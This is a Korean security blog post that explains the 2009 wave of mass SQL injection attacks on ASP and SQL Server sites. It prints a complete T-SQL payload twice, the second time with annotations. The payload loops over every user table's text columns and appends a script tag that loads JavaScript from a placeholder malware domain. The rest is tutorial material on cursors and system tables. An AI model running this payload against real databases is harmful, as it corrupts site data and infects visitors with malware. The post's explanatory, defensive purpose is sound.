본문 바로가기
정보보호 (Security)

Mass SQL Injection 공격에서 배우기

by 날으는물고기 2009. 2. 23.

Mass SQL Injection 공격에서 배우기

다음은 요즘 유행하는 mass sql injection 공격의 일부 내용이다.

‘Mass Sql injection’ 공격은 중국으로부터 많이 발생하는 해킹기법으로 보통 DB접속을 통하는 Sql injection과 달리, 툴을 이용하여 한번의 공격으로 방대한 코드를 삽입하여 다량의 DB값을 변조시킴으로써 웹사이트에 치명적인 영향을 입힌다. 실제로 ASP를 사용하는 많은 기업들이 이 공격으로 인한 피해를 당했다고 설명했다.

(참고 사이트와 책을 이용하면 더 많은 공부를 할 수 있을 것이다.)

 

dEcLaRe @S VaRcHaR(4000)

SeT @s=cAsT(
DECLARE @T VARCHAR(255),@C VARCHAR(255)

 DECLARE Table_Cursor CURSOR

 FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)

  OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)

  BEGIN EXEC(
   'UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=hxxp://악성코드유포도메인/s.js></script>''') 
      FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor aS VaRcHaR(4000));
eXeC(@s); 

 

// 변수 @S 선언 - 길이 4000인 varchar형(string 형식)
dEcLaRe @S VaRcHaR(4000)

 

// @S에 값 할당 - cast 함수를 이용해서 hex문을 varchar로 바꿈
SeT @s=cAsT(
DECLARE @T VARCHAR(255),@C VARCHAR(255) //변수 T와 C 선언

 

//Table_Cusor 선언

 //이는 for문의 쿼리에 의해 리턴되는 결과
 DECLARE Table_Cursor CURSOR 
  
  //SQL Server의 특별한 테이블: sysobject(DB내 테이블 정보), syscolumns(칼럼명정보)
  //xtype이 u (user에 의해 생성되는 테이블)
  //type 35(text), 231(sysname), 167(varchar)의 컬럼들로 제한
 FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
  
  //커서는 결과 값을 회수하여 이를 변수 T(테이블), C(칼럼)에 할당한다.
  OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
  
  //select문에 의해 선택된 컬럼들은 악성 자바 스크립트 코드가 삽입된다.
  BEGIN EXEC(
   'UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=hxxp://악성코드유포도메인/s.js></script>''') 
      FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor aS VaRcHaR(4000));
  
eXeC(@s); 
  

=============================================================================================

* CAST & CONVERT

형식 변환을 지원하는 함수는 CAST 및 CONVERT가 있다.

CONVERT가 지원범위가 더 넓고 CAST는 문법이 사용하기 편하다.

 

 CAST ( expression AS data_type [ ( length ) ] )

 CONVERT (data_type [ ( length ) ], expression [, style ] )

 

* CURSOR(커서)

DB에서 행을 개별적으로 처리할 수 있는 기능을 제공하는 것이 커서이다.

전체 데이터를 처리하는 것이 아니라 한 행을 가져와서 처리하고 다음 행을 읽고 다시 처리하는 방식이다.

커서는 행을 수정하기 위해서가 아니라, 읽기 위해서 사용된다.

(커서의 사용은 되도록 자제해야 한다. 커서 프로그래밍은 디버깅하기가 상당히 부담된다.)

 

#선언

 DECLARE cursor_name [INSENSITIVE] [SCROLL] CURSOR

    FOR select_statement

    [FOR {READ ONLY | UPDATE [OF column_name [,...n]]}]

 

# 오픈하기

 OPEN { { [ GLOBAL ] cursor_name } | cursor_variable_name }

 

DECLARE에서 정의한 커서를 연다.

커서를 오픈하면 행 포인터는 커서의 첫 행 위치에 있다.

포인터를 첫 행으로 옮기려면 Fetch하면 된다.

 

#커서에서 데이터 가져오기

 FETCH

    [ [ NEXT | PRIOR | FIRST | LAST | ABSOLUTE { n | @nvar } | RELATIVE { n | @nvar } ] FROM ]

{ { [ GLOBAL ] cursor_name } | @cursor_variable_name }

[ INTO @variable_name [,...n ] ]

 

첫 번째 인수의 의미

 - NEXT: 현재 행 바로 다음의 결과 행 반환 (기본)

 - PRIOR: 현재 행 바로 앞의 결과 행 반환

 - FIRST: 커서의 첫 번째 행을 반환하며 그 행을 현재 행으로 만든다.

 - LAST: 커서의 마지막행을 반환하며 그 행을 현재 행으로 만든다.

 

INTO를 사용하여 가져온 데이터 열을 지역변수로 지정가능하며 가져올 열의 수만큼 이전에 변수가 선언되어 있어야 한다.

 

FETCH를 한 후에는 @@FETCH_STATUS 값을 확인하여 무한루프를 방지해야 한다.

0: 성공,     -1: 실패,     -2: 반입된 행이 없다.

 

# 커서 닫기

CLOSE 문을 이용해 커서를 닫을 수 있다.

DEALLOCATE 하기 전까지는 지워진 것이 아니기 때문에 다시 오픈하고 닫을 수 있다.

 

 CLOSE { { [GLOBAL ] cursor_name } | cursor_variable_name }

 

# 커서 할당 해제

커서가 사용했던 모든 자원을 해제하는 것은 DEALLOCATE 문이다.

 

 DEALLOCATE { { [GLOBAL ] cursor_name} | @cursor_variable_name }

 

========================================================================================================================


* SysObjects

이 테이블은 데이터베이스 내에 존재하는 모든 개체에 대한 기본적인 정보를 저장하고 있는 테이블이다.

여기서 개체라 함은 모두 알다시피 테이블, 뷰, 프로시져, 함수, 트리거 등이 되겠다.

이러한 개체는 모두 SysObjects 테이블에 유일한 key를 가지고 있는데, 이것이 바로 id값이고,

이 id값으로 Foreign key 관계가 설정된 테이블들과 조인을 통해 데이터를 조회 할 수 있다.

그리고 여기서 한가지 더 확인해야 할 것은 xtype 컬럼인데 이 xtype 컬럼은 저장된 개체의 종류가 무엇인지를 구분하는 구분 값 되겠다.

이 구분 값이 정의하고 있는 것이 무엇인지 확인해 보자.

 

 C = CHECK 제약 조건
 D = 기본값 또는 DEFAULT 제약 조건
 F = FOREIGN KEY 제약 조건
 L = 로그
 FN = 스칼라 함수
 IF = 인라인 테이블 함수
 P = 저장 프로시저
 PK = PRIMARY KEY 제약 조건(유형은 K)
 RF = 복제 필터 저장 프로시저
 S = 시스템 테이블
 TF = 테이블 함수
 TR = 트리거
 U = 사용자 테이블
 UQ = UNIQUE 제약 조건(유형은 K)
 V = 뷰
 X = 확장 저장 프로시저

 

* syscolumns테이블은

현재 데이터베이스의 테이블들의 컬럼의 정보를 담고 있다.


Name이란 컬럼은 말 그대로 테이블의 컬럼명 정보를 담고 있는 컬럼이다.

즉, 해당 데이터베이스에는 어떤 컬럼들이 있는지 정보를 담고 있다.


Name 컬럼 바로 다음에 id라는 컬럼이다.

Id는 해당 컬럼을 사용하고 있는 개체id를 뜻한다.

즉, YMD란 컬럼을 어떤 테이블에서 사용한다면, 해당 테이블의 개체 ID를 담고 있다.

그렇다면, 이 id에 대해 어떻게 개체명을 알 수 있을까? SQL Server는 이를 위해서 OBJECT_NAME이라는 함수를 제공하고 있다.

실행해 보도록 하자.

 SELECT OBJECT_NAME(id), *  
 FROM syscolumns

그 다음에 살펴볼 컬럼은 xtype이란 컬럼이다.

Xtype에 대해서 BOL을 참고해 보면, systypes에서의 물리적인 저장소 유형이라고 나와있다.

 systypes라는 시스템테이블을 SELECT해보도록 하자.

 SELECT OBJECT_NAME(id) ObjectName,   
 T2.name DataType,  
 T1.*  
 FROM syscolumns T1  
 INNER JOIN systypes T2  

 ON T1.xtype = T2.xtype

 

 

systypes라는 시스템 테이블을 SELECT해보면, SQL Server에서 사용 할 수 있는 데이터 자료형에 대한 정보를 알 수 있다.

xtypes테이블의 name컬럼과 xtype컬럼을 참고하면, syscolumns에 있는 xtype이 무슨 자료형을 나타내는지 알 수 있을 것이다.

 

* EXEC

EXECUTE의 약어

EXEC(문자열)과 같은 단순한 인터페이스로 사용된다.

이 문자열에 적당한 SQL 문장을 입력하면 문자열이 전달되어 SQL 서버가 실행하고 결과를 반환한다.

 

* LTRIM & RTRIM

무의미한 공백 문자열을 잘라내는 기능을 하는 함수.

LTRIM(왼쪽 공백 제거), RTRIM(오른쪽 공백 제거)
 참고:

 (책) SQL Server 2005

(웹)

http://blog.naver.com/nyangthing?Redirect=Log&logNo=52393889

http://zmeun.tistory.com/4

http://webdizen.new21.net/blog/3033?TSSESSIONwwwwebdizennet=4622e5ad5e6defcb6ccd01896f900eb2

728x90

댓글